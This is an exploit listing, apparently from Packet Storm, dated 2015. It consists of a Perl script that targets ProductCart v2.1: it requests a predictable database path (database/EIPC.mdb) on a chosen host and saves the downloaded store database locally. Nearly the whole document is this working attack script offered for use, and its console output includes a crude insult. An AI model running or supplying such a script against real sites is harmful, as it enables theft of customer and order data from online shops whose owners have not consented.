Lucene search

K
packetstormIndoushkaPACKETSTORM:132157
HistoryJun 04, 2015 - 12:00 a.m.

ProductCart 2.1 Database Disclosure

2015-06-0400:00:00
indoushka
packetstormsecurity.com
25
`#!/usr/bin/perl -w  
#  
# ProductCart v2.1 Database Disclosure Exploit   
#  
# Author : indoushka  
#  
# Vondor : http://www.productcart.com/  
  
  
  
use LWP::Simple;  
use LWP::UserAgent;  
  
system('cls');  
system('ProductCart v2.1 Database Disclosure Exploit');  
system('color a');  
  
  
if(@ARGV < 2)  
{  
print "[-]How To Use\n\n";  
&help; exit();  
}  
sub help()  
{  
print "[+] usage1 : perl $0 site.com /path/ \n";  
print "[+] usage2 : perl $0 localhost / \n";  
}  
($TargetIP, $path, $File,) = @ARGV;  
  
$File="database/EIPC.mdb";  
my $url = "http://" . $TargetIP . $path . $File;  
print "\n Fuck you wait!!! \n\n";  
  
my $useragent = LWP::UserAgent->new();  
my $request = $useragent->get($url,":content_file" => "D:/EIPC.mdb");  
  
if ($request->is_success)  
{  
print "[+] $url Exploited!\n\n";  
print "[+] Database saved to D:/EIPC.mdb\n";  
exit();  
}  
else  
{  
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";  
exit();  
}  
  
`